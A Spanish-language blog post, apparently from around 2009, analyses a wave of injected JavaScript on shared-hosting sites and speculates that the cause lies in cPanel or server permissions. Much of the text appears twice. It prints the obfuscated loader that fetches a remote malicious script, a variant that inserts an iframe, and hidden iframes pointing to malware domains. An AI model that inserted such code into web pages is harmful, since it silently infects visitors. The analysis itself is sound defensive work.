La alarma saltó hace algún tiempo, y nosotros hemos sabido del tema hoy al informarnos un cliente nuestro que había sido afectado.
El efecto que se produce es el siguiente: en el código de tu página se inserta un código malicioso que ejecuta una rutina javascript y se encarga de colocar en tu web un iframe que muestra otra web distinta, llena de spyware y otras malas hierbas.
Para aumentar el daño, google detecta este problema en tu página y te castiga dejando de mostrarte en los resultados de su buscador. Al menos te envían un e-mail para informarte de ello.
El punto complicado es ¿cómo se introduce ese código en tu página web?. En principio cabría pensar que los atacantes han conseguido de algún modo las contraseñas de acceso al servicio FTP del hosting en el que alojas la web, y me inclinaría a pensar esto si nuestro cliente fuese el único afectado.
Sin embargo una búsqueda en google nos muestra que se trata de un ataque a una escala mayor. Parece que hay múltiples afectados.
El código1 que se introduce en la página web el siguiente:
La ejecución de dicho código2 demuestra que lo que hace es añadir en tu página web el siguiente texto:
Dicho código se encarga de cargar un fichero js que reside en un servidor externo (no tiene nada que ver con google) y que a su vez se encarga de insertar un iframe en tu sitio web.
La pregunta ahora es ¿cómo consiguen los atacantes introducir dicho código en el fichero index.php del servidor?. Aunque la primera impresión es que, bien por fuerza bruta o bien usando alguna vulnerabilidad que les permita interceptarlas, obtienen las contraseñas del servidor FTP y luego realizan la modificación, los datos que aparecen sobre infectados en algunos foros en internet parecen indicar lo contrario: muchos de ellos afirman que sus contraseñas son seguras. Además parece que los ataques se han concentrado en el proveedor de servicios "Heart Internet", que además de vender al cliente final ofrece servicios como mayorista y por tanto existen muchos resellers que, sin el conocimiento directo de sus clientes, usan el mismo servicio.
La empresa con la que nuestro cliente contrata el hosting es Piensa Solutions, y no estamos seguros de si dicha empresa está actuando como minorista de Heart Internet en éste caso.
De comprobarse que el problema está relacionado con ésto, entonces el ataque podría estar aprovechando un fallo de seguridad en los servidores de una o más compañías de hosting. Dicho fallo podría ser tan sencillo como que no existiese ningún elemento que evitase el acceso a los ficheros de otros usuarios en el mismo servidor si éstos no tienen adecuadamente configurados los permisos (o incluso, si pueden ser escritos por el usuario que ejecute el demonio Apache y el intérprete de PHP, si el safe_mode no está activado); pero también podría ser un fallo en los sistemas de acceso a los paneles de control de los usuarios, donde normalmente existe un acceso web al sistema de ficheros.
Si bien parece que por ahora el proceso no es automático (en el sentido de que no se duplica a sí mismo), de confirmarse que se trata de un problema de seguridad en el acceso a ficheros de otros usuarios en el mismo servidor, el proceso podría probablemente ser automatizado de modo que el propio código escrito en los ficheros PHP se contuviese a si mismo y se replicase hacia otros ficheros. De éste modo tareas propias tanto de los servicios de hosting (como mover a un cliente de un servidor compartido a otro por reajustes) como de clientes (cambiar de servicio de hosting) podrían encargarse de extender éste código entre distintos servidores. Estaríamos en este caso contemplando el nacimiento de un nuevo tipo de virus del que yo al menos no tengo constancia: los web-virus.
Si obtenemos más información, la publicaremos por aquí.
Actualización: Siguiendo con la información tengo nuevas sospechas. El problema parece no estar en la configuración de los servidores en sí, sino en la utilidad CPanel, que es el panel de control que usan muchas empresas de hosting para permitir a sus clientes configurar las opciones del servidor. Existen varias compañías afectadas y todas parecen tener en común el uso de ese sistema.
En cualquier caso el problema parece ser de las empresas de hosting, y me parece un problema muy grave. De verme afectado, como mínimo cambiaría de empresa de hosting y además exigiría una indemnización.
Actualización: Otro de nuestros clientes, que usa el servicio de hosting BlueHost (también con CPANEL), ha sido infectado por otro tipo de virus que se comporta de forma similar pero incluye otro texto en los fuentes, con iframes ocultos a páginas maliciosas:
Por último es importante destacar que google da una explicación oficial a éstos factores para justificar la desindexación de los sitios de su índice. Coincide con nosotros en su diagnóstico y culpa a las empresas de hosting. En concreto da un diagnóstico sobre el proveedor de servicios BLUEHOST
El texto es bastante claro:
Es interesante resaltar que, con la información que maneja google, parece apuntar a algunos sitios como "fuente de la infección", lo cual podría significar que el fallo no está en CPANEL sino en los parámetros de configuración propios del servidor. En este caso los atacantes contratarían un espacio en dichos servidores y desde ahí podrían acceder a las cuentas de otros usuarios para infectarlas. Este extremo no nos queda nada claro todavía, pero seguiremos informando.
1 Otras variantes del código cambian ligeramente, apuntando a otro servidor para la descarga del fichero js malicioso:
2 El siguiente código modificado, pegado en la barra de direcciones de un navegador, mostrará un alert con la cadena calculada, en lugar de añadirla al documento:
El efecto que se produce es el siguiente: en el código de tu página se inserta un código malicioso que ejecuta una rutina javascript y se encarga de colocar en tu web un iframe que muestra otra web distinta, llena de spyware y otras malas hierbas.
Para aumentar el daño, google detecta este problema en tu página y te castiga dejando de mostrarte en los resultados de su buscador. Al menos te envían un e-mail para informarte de ello.
El punto complicado es ¿cómo se introduce ese código en tu página web?. En principio cabría pensar que los atacantes han conseguido de algún modo las contraseñas de acceso al servicio FTP del hosting en el que alojas la web, y me inclinaría a pensar esto si nuestro cliente fuese el único afectado.
Sin embargo una búsqueda en google nos muestra que se trata de un ataque a una escala mayor. Parece que hay múltiples afectados.
El código1 que se introduce en la página web el siguiente:
<script>var source
="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0095/355/249/660hpphmf.bobmzujdt0hb/kt#?=0tdsjqu?";
var result = "";for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result);
</script>
La ejecución de dicho código2 demuestra que lo que hace es añadir en tu página web el siguiente texto:
<script type="text/javascript"
src="http://84.244.138.55/google-analytics/ga.js"></script>
Dicho código se encarga de cargar un fichero js que reside en un servidor externo (no tiene nada que ver con google) y que a su vez se encarga de insertar un iframe en tu sitio web.
La pregunta ahora es ¿cómo consiguen los atacantes introducir dicho código en el fichero index.php del servidor?. Aunque la primera impresión es que, bien por fuerza bruta o bien usando alguna vulnerabilidad que les permita interceptarlas, obtienen las contraseñas del servidor FTP y luego realizan la modificación, los datos que aparecen sobre infectados en algunos foros en internet parecen indicar lo contrario: muchos de ellos afirman que sus contraseñas son seguras. Además parece que los ataques se han concentrado en el proveedor de servicios "Heart Internet", que además de vender al cliente final ofrece servicios como mayorista y por tanto existen muchos resellers que, sin el conocimiento directo de sus clientes, usan el mismo servicio.
La empresa con la que nuestro cliente contrata el hosting es Piensa Solutions, y no estamos seguros de si dicha empresa está actuando como minorista de Heart Internet en éste caso.
De comprobarse que el problema está relacionado con ésto, entonces el ataque podría estar aprovechando un fallo de seguridad en los servidores de una o más compañías de hosting. Dicho fallo podría ser tan sencillo como que no existiese ningún elemento que evitase el acceso a los ficheros de otros usuarios en el mismo servidor si éstos no tienen adecuadamente configurados los permisos (o incluso, si pueden ser escritos por el usuario que ejecute el demonio Apache y el intérprete de PHP, si el safe_mode no está activado); pero también podría ser un fallo en los sistemas de acceso a los paneles de control de los usuarios, donde normalmente existe un acceso web al sistema de ficheros.
Si bien parece que por ahora el proceso no es automático (en el sentido de que no se duplica a sí mismo), de confirmarse que se trata de un problema de seguridad en el acceso a ficheros de otros usuarios en el mismo servidor, el proceso podría probablemente ser automatizado de modo que el propio código escrito en los ficheros PHP se contuviese a si mismo y se replicase hacia otros ficheros. De éste modo tareas propias tanto de los servicios de hosting (como mover a un cliente de un servidor compartido a otro por reajustes) como de clientes (cambiar de servicio de hosting) podrían encargarse de extender éste código entre distintos servidores. Estaríamos en este caso contemplando el nacimiento de un nuevo tipo de virus del que yo al menos no tengo constancia: los web-virus.
Si obtenemos más información, la publicaremos por aquí.
Actualización: Siguiendo con la información tengo nuevas sospechas. El problema parece no estar en la configuración de los servidores en sí, sino en la utilidad CPanel, que es el panel de control que usan muchas empresas de hosting para permitir a sus clientes configurar las opciones del servidor. Existen varias compañías afectadas y todas parecen tener en común el uso de ese sistema.
En cualquier caso el problema parece ser de las empresas de hosting, y me parece un problema muy grave. De verme afectado, como mínimo cambiaría de empresa de hosting y además exigiría una indemnización.
Actualización: Otro de nuestros clientes, que usa el servicio de hosting BlueHost (también con CPANEL), ha sido infectado por otro tipo de virus que se comporta de forma similar pero incluye otro texto en los fuentes, con iframes ocultos a páginas maliciosas:
<iframe
src="http://goooogleadsence.biz/?click=13DA487" width=1 height=1
style="visibility:hidden;position:absolute"></iframe><iframe
src="http://lotante.cn/in.cgi?income38" width=1 height=1
style="visibility: hidden"></iframe>
<iframe
src="http://thelotbet.cn/in.cgi?income39" width=1 height=1
style="visibility: hidden"></iframe>
<iframe
src="http://superbetfair.cn/in.cgi?income43" width=1 height=1
style="visibility: hidden"></iframe>
Por último es importante destacar que google da una explicación oficial a éstos factores para justificar la desindexación de los sitios de su índice. Coincide con nosotros en su diagnóstico y culpa a las empresas de hosting. En concreto da un diagnóstico sobre el proveedor de servicios BLUEHOST
El texto es bastante claro:
What happened when Google visited sites hosted on this network?
Of the 36934 site(s) we tested on this network over the past 90 days, 809 site(s), including, for example, todaycg.cn, omask.com, arcadeoutlaw.com, served content that resulted in malicious software being downloaded and installed without user consent.
The last time Google tested a site on this network was on 2009-04-15, and the last time suspicious content was found was on 2009-04-15.
Has this network hosted sites acting as intermediaries for further malware distribution?
Over the past 90 days, we found 8 site(s) on this network, including, for example, googelmm.com, publibanners.es, buscag.com, that appeared to function as intermediaries for the infection of 21 other site(s) including, for example, chinalcw.com, alojamientogratuito.info, fodsi.com.
Has this network hosted sites that have distributed malware?
Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 80 site(s), including, for example, googelmm.com, adserv.cn, rtbn2.cn, that infected 486 other site(s), including, for example, chinalcw.com, kitabummuneer.com, plantationharbor.org.
Es interesante resaltar que, con la información que maneja google, parece apuntar a algunos sitios como "fuente de la infección", lo cual podría significar que el fallo no está en CPANEL sino en los parámetros de configuración propios del servidor. En este caso los atacantes contratarían un espacio en dichos servidores y desde ahí podrían acceder a las cuentas de otros usuarios para infectarlas. Este extremo no nos queda nada claro todavía, pero seguiremos informando.
1 Otras variantes del código cambian ligeramente, apuntando a otro servidor para la descarga del fichero js malicioso:
<script>var source
="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";
var result = "";for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result);
</script>
2 El siguiente código modificado, pegado en la barra de direcciones de un navegador, mostrará un alert con la cadena calculada, en lugar de añadirla al documento:
javascript:var source
="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0095/355/249/660hpphmf.bobmzujdt0hb/kt#?=0tdsjqu?";
var result = "";for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);alert(result);